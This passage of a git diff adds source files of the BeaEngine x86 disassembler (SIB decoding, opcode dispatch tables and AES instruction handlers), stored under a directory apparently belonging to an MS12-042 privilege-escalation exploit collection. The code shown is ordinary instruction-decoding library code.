32) { + if (GV.REX.X_ == 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[GV.INDEX_ ]); + #endif + (*pMyArgument).Memory.IndexRegister = REGS[GV.INDEX_ ]; + i += strlen( Registers32Bits[GV.INDEX_ ]); + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[GV.INDEX_ +8]); + #endif + (*pMyArgument).Memory.IndexRegister = REGS[GV.INDEX_ +8]; + i += strlen( Registers32Bits[GV.INDEX_ +8]); + } + } + (*pMyArgument).Memory.Scale = 4; + if (GV.SYNTAX_ == ATSyntax) { + if ((GV.BASE_ != 5) || (GV.INDEX_ != 4)) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, ",4"); + #endif + i+=2; + } + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "*4"); + #endif + i+=2; + } + } + if ((GV.SYNTAX_ == ATSyntax) && ((GV.BASE_ != 5) || (GV.INDEX_ != 4))) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, ")"); + #endif + i++; + } + return i; +} + +/* ======================================= + * + * ======================================= */ +size_t __bea_callspec__ SIB_3(ARGTYPE* pMyArgument, size_t i, PDISASM pMyDisasm) +{ + size_t j; + /* ========================= Interpret Base */ + + if ((GV.BASE_ == 5) && (GV.MOD_ == 0)) { + GV.DECALAGE_EIP += 4; + if (!Security(7, pMyDisasm)) return i; + j = i; + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+j,"%.8X",(Int64) *((UInt32*)(UIntPtr) (GV.EIP_+3))); + #endif + (*pMyArgument).Memory.Displacement = *((UInt32*)(UIntPtr) (GV.EIP_+3)); + } + else { + + if (GV.SYNTAX_ == ATSyntax) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "(%"); + #endif + i += 2; + } + if (GV.AddressSize == 64) { + if (GV.REX.B_ == 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[GV.BASE_ ]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[GV.BASE_ ]; + i += strlen( Registers64Bits[GV.BASE_ ]); + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[GV.BASE_ +8]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[GV.BASE_ +8]; + i += strlen( Registers64Bits[GV.BASE_ +8]); + } + } + else if (GV.AddressSize == 32) { + if (GV.REX.B_ == 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[GV.BASE_ ]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[GV.BASE_ ]; + i += strlen( Registers32Bits[GV.BASE_ ]); + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[GV.BASE_ +8]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[GV.BASE_ +8]; + i += strlen( Registers32Bits[GV.BASE_ +8]); + } + } + } + /* ======================== Interpret Index */ + + if (GV.INDEX_ != 4) { + if (GV.SYNTAX_ == ATSyntax) { + if (GV.BASE_ == 5) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "(,%"); + #endif + i+=3; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, ",%"); + #endif + i+=2; + } + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "+"); + #endif + i+=1; + } + + if (GV.AddressSize == 64) { + if (GV.REX.X_ == 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[GV.INDEX_ ]); + #endif + (*pMyArgument).Memory.IndexRegister = REGS[GV.INDEX_ ]; + i += strlen( Registers64Bits[GV.INDEX_ ]); + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[GV.INDEX_ +8]); + #endif + (*pMyArgument).Memory.IndexRegister = REGS[GV.INDEX_ +8]; + i += strlen( Registers64Bits[GV.INDEX_ +8]); + } + } + else if (GV.AddressSize == 32) { + if (GV.REX.X_ == 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[GV.INDEX_ ]); + #endif + (*pMyArgument).Memory.IndexRegister = REGS[GV.INDEX_ ]; + i += strlen( Registers32Bits[GV.INDEX_ ]); + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[GV.INDEX_ +8]); + #endif + (*pMyArgument).Memory.IndexRegister = REGS[GV.INDEX_ +8]; + i += strlen( Registers32Bits[GV.INDEX_ +8]); + } + } + (*pMyArgument).Memory.Scale = 8; + if (GV.SYNTAX_ == ATSyntax) { + if ((GV.BASE_ != 5) || (GV.INDEX_ != 4)) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, ",8"); + #endif + i+=2; + } + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "*8"); + #endif + i+=2; + } + } + if ((GV.SYNTAX_ == ATSyntax) && ((GV.BASE_ != 5) || (GV.INDEX_ != 4))) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, ")"); + #endif + i++; + } + return i; +} diff --git a/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/instr_set/Data_opcode.h b/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/instr_set/Data_opcode.h new file mode 100644 index 0000000..6abac2b --- /dev/null +++ b/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/instr_set/Data_opcode.h @@ -0,0 +1,174 @@ +/* Copyright 2006-2009, BeatriX + * File coded by BeatriX + * + * This file is part of BeaEngine. + * + * BeaEngine is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * BeaEngine is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with BeaEngine. If not, see . */ + +/* =============================================================================== */ +/* */ +/* */ +/* 1 BYTE_OPCODE MAP */ +/* */ +/* */ +/* =============================================================================== */ + +void (__bea_callspec__ * opcode_map1[])(PDISASM) = { + add_EbGb , add_EvGv , add_GbEb , add_GvEv , add_ALIb , add_eAX_Iv, push_es , pop_es , or_EbGb , or_EvGv , or_GbEb , or_GvEv , or_ALIb , or_eAX_Iv , push_cs , Esc_2byte , + adc_EbGb , adc_EvGv , adc_GbEb , adc_GvEv , adc_ALIb , adc_eAX_Iv, push_ss , pop_ss , sbb_EbGb , sbb_EvGv , sbb_GbEb , sbb_GvEv , sbb_ALIb , sbb_eAX_Iv, push_ds , pop_ds , + and_EbGb , and_EvGv , and_GbEb , and_GvEv , and_ALIb , and_eAX_Iv, PrefSEGES , daa_ , sub_EbGb , sub_EvGv , sub_GbEb , sub_GvEv , sub_ALIb , sub_eAX_Iv, PrefSEGCS , das_ , + xor_EbGb , xor_EvGv , xor_GbEb , xor_GvEv , xor_ALIb , xor_eAX_Iv, PrefSEGSS , aaa_ , cmp_EbGb , cmp_EvGv , cmp_GbEb , cmp_GvEv , cmp_ALIb , cmp_eAX_Iv, PrefSEGDS , aas_ , + inc_eax , inc_ecx , inc_edx , inc_ebx , inc_esp , inc_ebp , inc_esi , inc_edi , dec_eax , dec_ecx , dec_edx , dec_ebx , dec_esp , dec_ebp , dec_esi , dec_edi , + push_eax , push_ecx , push_edx , push_ebx , push_esp , push_ebp , push_esi , push_edi , pop_eax , pop_ecx , pop_edx , pop_ebx , pop_esp , pop_ebp , pop_esi , pop_edi , + pushad_ , popad_ , bound_ , arpl_ , PrefSEGFS , PrefSEGGS , PrefOpSize, PrefAdSize, push_Iv ,imul_GvEvIv, push_Ib ,imul_GvEvIb, insb_ , ins_ , outsb_ , outsw_ , + jo_ , jno_ , jc_ , jnc_ , je_ , jne_ , jbe_ , jnbe_ , js_ , jns_ , jp_ , jnp_ , jl_ , jnl_ , jle_ , jnle_ , + G1_EbIb , G1_EvIv , G1_EbIb2 , G1_EvIb , test_EbGb , test_EvGv , xchg_EbGb , xchg_EvGv , mov_EbGb , mov_EvGv , mov_GbEb , mov_GvEv , mov_EwSreg, lea_GvM , mov_SregEw, pop_Ev , + nop_ , xchg_ecx , xchg_edx , xchg_ebx , xchg_esp , xchg_ebp , xchg_esi , xchg_edi , cwde_ , cdq_ , callf_ , wait_ , pushfd_ , popfd_ , sahf_ , lahf_ , + mov_ALOb , mov_eAXOv , mov_ObAL , mov_OveAX , movs_ , movsw_ , cmpsb_ , cmps_ , test_ALIb ,test_eAX_Iv, stos_ , stosw_ , lodsb_ , lodsw_ , scasb_ , scas_ , + mov_ALIb , mov_CLIb , mov_DLIb , mov_BLIb , mov_AHIb , mov_CHIb , mov_DHIb , mov_BHIb , mov_EAX , mov_ECX , mov_EDX , mov_EBX , mov_ESP , mov_EBP , mov_ESI , mov_EDI , + G2_EbIb , G2_EvIb , retn_ , ret_ , les_GvM , lds_GvM , mov_EbIb , mov_EvIv , enter_ , leave_ , retf_Iw , retf_ , int3_ , int_ , into_ , iret_ , + G2_Eb1 , G2_Ev1 , G2_EbCL , G2_EvCL , aam_ , aad_ , salc_ , xlat_ , D8_ , D9_ , DA_ , DB_ , DC_ , DD_ , DE_ , DF_ , + loopne_ , loope_ , loop_ , jecxz_ , in_ALIb , in_eAX_Ib , out_IbAL , out_Ib_eAX, call_ , jmp_near , jmp_far , jmp_short , in_ALDX , in_eAX , out_DXAL , out_DXeAX , + PrefLock , int1_ , PrefREPNE , PrefREPE , hlt_ , cmc_ , G3_Eb , G3_Ev , clc_ , stc_ , cli_ , sti_ , cld_ , std_ , G4_Eb , G5_Ev , + }; + +/* =============================================================================== */ +/* */ +/* */ +/* 2 BYTE_OPCODE MAP --> 0F xx */ +/* */ +/* */ +/* =============================================================================== */ +void (__bea_callspec__ *opcode_map2[])(PDISASM) = { + G6_ , G7_ , lar_GvEw , lsl_GvEw , FailDecode, syscall_ , clts_ , sysret_ , invd_ , wbinvd_ , FailDecode, ud2_ , FailDecode, nop_Ev , femms_ , FailDecode, + movups_VW , movups_WV , movlps_VM , movlps_MV , unpcklps_ , unpckhps_ , movhps_VM , movhps_MV , G16_ , hint_nop , hint_nop , hint_nop , hint_nop , hint_nop , hint_nop , nop_Ev , + mov_RdCd , mov_RdDd , mov_CdRd , mov_DdRd , FailDecode, FailDecode, FailDecode, FailDecode, movaps_VW , movaps_WV , cvtpi2ps_ , movntps_ , cvttps2pi_, cvtps2pi_ , ucomiss_VW, comiss_VW , + wrmsr_ , rdtsc_ , rdmsr_ , rdpmc_ , sysenter_ , sysexit_ , FailDecode, FailDecode,Esc_tableA4, FailDecode,Esc_tableA5, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, + cmovo_ , cmovno_ , cmovb_ , cmovnb_ , cmove_ , cmovne_ , cmovbe_ , cmovnbe_ , cmovs_ , cmovns_ , cmovp_ , cmovnp_ , cmovl_ , cmovnl_ , cmovle_ , cmovnle_ , + movmskps_ , sqrtps_VW , rsqrtps_ , rcpps_ , andps_VW , andnps_VW , orps_VW , xorps_VW , addps_VW , mulps_VW , cvtps2pd_ , cvtdq2ps_ , subps_VW , minps_VW , divps_VW , maxps_VW , + punpcklbw_, punpcklwd_, punpckldq_, packsswb_ , pcmpgtb_ , pcmpgtw_ , pcmpgtd_ , packuswb_ , punpckhbw_, punpckhwd_, punpckhdq_, packssdw_ ,punpcklqdq_,punpckhqdq_, movd_PE , movq_PQ , + pshufw_ , G12_ , G13_ , G14_ , pcmpeqb_ , pcmpeqw_ , pcmpeqd_ , emms_ , vmread_ , vmwrite_ , FailDecode, FailDecode, haddpd_VW , hsubpd_VW , movd_EP , movq_QP , + jo_near , jno_near , jc_near , jnc_near , je_near , jne_near , jbe_near , ja_near , js_near , jns_near , jp_near , jnp_near , jl_near , jnl_near , jle_near , jnle_near , + seto_ , setno_ , setb_ , setnb_ , sete_ , setne_ , setbe_ , setnbe_ , sets_ , setns_ , setp_ , setnp_ , setnge_ , setge_ , setle_ , setnle_ , + push_fs , pop_fs , cpuid_ , bt_EvGv ,shld_EvGvIb,shld_EvGvCL, FailDecode, FailDecode, push_gs , pop_gs , rsm_ , bts_EvGv ,shrd_EvGvIb,shrd_EvGvCL, G15_ , imul_GvEv , + cmpx_EbGb , cmpx_EvGv , lss_Mp , btr_EvGv , lfs_Mp , lgs_Mp , movzx_GvEb, movzx_GvEw, popcnt_ , ud2_ , G8_EvIb , btc_EvGv , bsf_GvEv , bsr_GvEv , movsx_GvEb, movsx_GvEw, + xadd_EbGb , xadd_EvGv , cmpps_VW , movnti_ , pinsrw_ , pextrw_ , shufps_ , G9_ , bswap_eax , bswap_ecx , bswap_edx , bswap_ebx , bswap_esp , bswap_ebp , bswap_esi , bswap_edi , + addsubpd_ , psrlw_ , psrld_ , psrlq_ , paddq_ , pmullw_ , movq_WV , pmovmskb_ , psubusb_ , psubusw_ , pminub_ , pand_ , paddusb_ , paddusw_ , pmaxub_ , pandn_ , + pavgb_ , psraw_ , psrad_ , pavgw_ , pmulhuw_ , pmulhw_ , cvtpd2dq_ , movntq_ , psubsb_ , psubsw_ , pminsw_ , por_ , paddsb_ , paddsw_ , pmaxsw_ , pxor_ , + lddqu_ , psllw_ , pslld_ , psllq_ , pmuludq_ , pmaddwd_ , psadbw_ , maskmovq_ , psubb_ , psubw_ , psubd_ , psubq_ , paddb_ , paddw_ , paddd_ , FailDecode, + }; + +/* =============================================================================== */ +/* */ +/* */ +/* 3 BYTE_OPCODE MAP --> 0F 38 xx */ +/* */ +/* */ +/* =============================================================================== */ + void (__bea_callspec__ *opcode_map3[])(PDISASM) = { + pshufb_ , phaddw_ , phaddd_ , phaddsw_ , pmaddubsw_, phsubw_ , phsubd_ , phsubsw_ , psignb_ , psignw_ , psignd_ , pmulhrsw_ , FailDecode, FailDecode, FailDecode, FailDecode, + pblendvb_ , FailDecode, FailDecode, FailDecode, blendvps_ , blendvpd_ , FailDecode, ptest_ , FailDecode, FailDecode, FailDecode, FailDecode, pabsb_ , pabsw_ , pabsd_ , FailDecode, + pmovsxbw_ , pmovsxbd_ , pmovsxbq_ , pmovsxwd_ , pmovsxwq_ , pmovsxdq_ , FailDecode, FailDecode, pmuldq_ , pcmpeqq_ , movntdqa_ , packusdw_ , FailDecode, FailDecode, FailDecode, FailDecode, + pmovzxbw_ , pmovzxbd_ , pmovzxbq_ , pmovzxwd_ , pmovzxwq_ , pmovzxdq_ , FailDecode, pcmpgtq_ , pminsb_ , pminsd_ , pminuw_ , pminud_ , pmaxsb_ , pmaxsd_ , pmaxuw_ , pmaxud_ , + pmulld_ ,phminposuw_, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, + FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, + FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, + FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, + FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, + FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, + FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, + FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, + FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, + FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, aesimc , aesenc , aesenclast, aesdec , aesdeclast, + FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, + crc32_GvEb, crc32_GvEv, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, + }; + +/* =============================================================================== */ +/* */ +/* */ +/* 3 UInt8_OPCODE MAP --> 0F 3A xx */ +/* */ +/* */ +/* =============================================================================== */ + void (__bea_callspec__ *opcode_map4[])(PDISASM) = { + FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, roundps_ , roundpd_ , roundss_ , roundsd_ , blendps_ , blendpd_ , pblendw_ , palignr_ , + FailDecode, FailDecode, FailDecode, FailDecode, pextrb_ , pextrw2_ , pextrd_ , extractps_, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, + pinsrb_ , insertps_ , pinsrd_ , FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, + FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, + dpps_ , dppd_ , mpsadbw_ , FailDecode, pclmulqdq_, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, + FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, + pcmpestrm_, pcmpestri_, pcmpistrm_, pcmpistri_, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, + FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, + FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, + FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, + FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, + FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, + FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, + FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, aeskeygen , + FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, + FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, FailDecode, + }; + + +void (__bea_callspec__ *ModRM_0[])(ARGTYPE*, PDISASM) = { + Addr_EAX, + Addr_ECX, + Addr_EDX, + Addr_EBX, + Addr_SIB, + Addr_disp32, + Addr_ESI, + Addr_EDI, + }; + + void (__bea_callspec__ *ModRM_1[])(ARGTYPE*, PDISASM) = { + Addr_EAX_disp8, + Addr_ECX_disp8, + Addr_EDX_disp8, + Addr_EBX_disp8, + Addr_SIB_disp8, + Addr_EBP_disp8, + Addr_ESI_disp8, + Addr_EDI_disp8, + }; + + void (__bea_callspec__ *ModRM_2[])(ARGTYPE*, PDISASM) = { + Addr_EAX_disp32, + Addr_ECX_disp32, + Addr_EDX_disp32, + Addr_EBX_disp32, + Addr_SIB_disp32, + Addr_EBP_disp32, + Addr_ESI_disp32, + Addr_EDI_disp32, + }; + + void (__bea_callspec__ *ModRM_3[])(ARGTYPE*, PDISASM) = { + _rEAX, + _rECX, + _rEDX, + _rEBX, + _rESP, + _rEBP, + _rESI, + _rEDI, + }; + +size_t (__bea_callspec__ *SIB[])(ARGTYPE*, size_t, PDISASM) = { + SIB_0, + SIB_1, + SIB_2, + SIB_3, + }; diff --git a/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/instr_set/opcodes_AES.c b/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/instr_set/opcodes_AES.c new file mode 100644 index 0000000..e474184 --- /dev/null +++ b/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/instr_set/opcodes_AES.c @@ -0,0 +1,168 @@ +/* Copyright 2006-2009, BeatriX + * File coded by BeatriX + * + * This file is part of BeaEngine. + * + * BeaEngine is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * BeaEngine is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with BeaEngine. If not, see . */ + +/* ==================================================================== + * 0x 0f 38 db + * ==================================================================== */ +void __bea_callspec__ aesimc(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if (GV.OperandSize == 16) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = AES_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "aesimc "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + FailDecode(pMyDisasm); + } +} + +/* ==================================================================== + * 0x 0f 38 dc + * ==================================================================== */ +void __bea_callspec__ aesenc(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if (GV.OperandSize == 16) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = AES_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "aesenc "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + FailDecode(pMyDisasm); + } +} + +/* ==================================================================== + * 0x 0f 38 dd + * ==================================================================== */ +void __bea_callspec__ aesenclast(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if (GV.OperandSize == 16) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = AES_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "aesenclast "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + FailDecode(pMyDisasm); + } +} + +/* ==================================================================== + * 0x 0f 38 de + * ==================================================================== */ +void __bea_callspec__ aesdec(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if (GV.OperandSize == 16) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = AES_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "aesdec "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + FailDecode(pMyDisasm); + } +} + +/* ==================================================================== + * 0x 0f 38 df + * ==================================================================== */ +void __bea_callspec__ aesdeclast(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if (GV.OperandSize == 16) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = AES_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "aesdeclast "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + FailDecode(pMyDisasm); + } +} + +/* ==================================================================== + * 0x 0f 3a df + * ==================================================================== */ +void __bea_callspec__ aeskeygen(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if (GV.OperandSize == 16) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = AES_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "aeskeygenassist "); + #endif + GV.ImmediatSize = 8; + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + GV.EIP_++; + if (!Security(0, pMyDisasm)) return; + GV.third_arg = 1; + (*pMyDisasm).Instruction.Immediat = *((UInt8*)(UIntPtr) (GV.EIP_- 1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X",(Int64) *((UInt8*)(UIntPtr) (GV.EIP_- 1))); + #endif + (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument3.ArgSize = 8; + + + } + else { + FailDecode(pMyDisasm); + } + +} diff --git a/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/instr_set/opcodes_A_M.c b/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/instr_set/opcodes_A_M.c new file mode 100644 index 0000000..1a5389f --- /dev/null +++ b/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/instr_set/opcodes_A_M.c @@ -0,0 +1,6707 @@ +/* Copyright 2006-2009, BeatriX + * File coded by BeatriX + * + * This file is part of BeaEngine. + * + * BeaEngine is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * BeaEngine is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with BeaEngine. If not, see . */ + +void __bea_callspec__ FailDecode(PDISASM pMyDisasm) +{ + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "??? "); +#endif + GV.ERROR_OPCODE = 1; +} +/* ==================================================================== + * + * ==================================================================== */ +void __bea_callspec__ aaa_(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Archi == 64) { + FailDecode(pMyDisasm); + } + else { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy 